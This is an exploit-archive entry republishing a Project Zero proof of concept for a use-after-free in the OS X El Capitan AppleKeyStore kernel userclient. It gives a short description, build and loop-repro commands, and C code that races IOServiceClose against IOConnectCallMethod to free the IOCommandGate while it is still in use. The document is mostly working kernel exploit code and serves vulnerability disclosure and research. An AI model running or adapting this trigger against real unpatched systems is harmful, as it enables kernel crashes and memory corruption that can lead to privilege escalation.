OS X Kernel - AppleKeyStore Use-After-Free

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=710
 
The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.
 
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
 
//ianbeer
 
//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread
//repro: while true; do ./applekeystore_race; done
// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free
 
/*
OS X Kernel use-after-free in AppleKeyStore
 
The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.
 
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <IOKit/IOKitLib.h>
 
#include <libkern/OSAtomic.h>
 
#include <mach/thread_act.h>
 
#include <pthread.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
     
unsigned int selector = 0;
 
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
 
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
 
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
 
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
 
io_connect_t global_conn = MACH_PORT_NULL;
 
void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0;
  outputScalarCnt = 16;
  outputStructCnt = 40960; 
}
 
void make_iokit_call(){ 
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}
 
OSSpinLock lock = OS_SPINLOCK_INIT;
 
void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }
 
  make_iokit_call();
  return NULL;
}
 
mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;
 
  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }
 
  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }
 
  io_service_t service = IOIteratorNext(iterator);
 
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);
 
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }
 
  printf("got userclient connection: %x\n", conn);
 
  return conn;
}
 
int main(int argc, char** argv){
  OSSpinLockLock(&lock);
 
  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);
 
  mach_port_t conn = get_user_client("AppleKeyStore", 0);
   
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  return 0;
}